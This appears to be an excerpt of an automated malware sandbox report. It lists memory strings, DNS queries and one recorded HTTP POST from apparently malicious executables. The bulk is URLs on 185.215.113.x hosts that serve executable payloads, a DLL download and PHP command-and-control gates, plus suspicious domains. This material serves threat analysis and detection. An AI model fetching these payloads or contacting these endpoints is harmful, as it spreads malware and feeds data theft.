Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314889990.000001D16B6DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314889990.000001D16B6DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314889990.000001D16B6DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3352359893.000001D16F507000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3331315127.000001D16EAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3345520316.000001D16F189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3331315127.000001D16EAD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3331315127.000001D16EAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A15C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A15C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.css
Source: e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000001B.00000002.3322971966.000001D16DF78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/;
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/J
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 51d383286f.exe, 00000008.00000003.3244945133.00000000017C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe32
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeB
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exep
Source: 51d383286f.exe, 0000000A.00000002.3407383192.0000000000AFB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exerf
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeo
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3244945133.00000000017C1000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe)
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe%
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe1
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exet
Source: 51d383286f.exe, 0000000A.00000002.3420531192.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000E64000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3424417646.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllB~
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllH
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllecf79229cb002.php
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllh~
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3424417646.00000000017D1000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000EB4000.00000040.00000001.01000000.0000000C.sdmp, 8ab7de79e4.exe, 00000009.00000002.3424417646.000000000178E000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000F47000.00000040.00000001.01000000.0000000C.sdmp, 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000E64000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php$
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000E64000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php----EGCBAFCFIJJJECBGIIJKogon.exe
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpL
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000F47000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpUser
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000F47000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpdc136f004301dcd6a2c27cd8dad2.exe
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phph
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000EB4000.00000040.00000001.01000000.0000000C.sdmp, 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000F47000.00000040.00000001.01000000.0000000C.sdmp, 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000E64000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000EB4000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000EB4000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206IJK
Source: 8ab7de79e4.exe, 00000009.00000002.3409739852.0000000000F47000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206s.exe
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5001
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpD
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpH
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpP
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpQ
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phph
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpl
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedq:
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpsf9:2
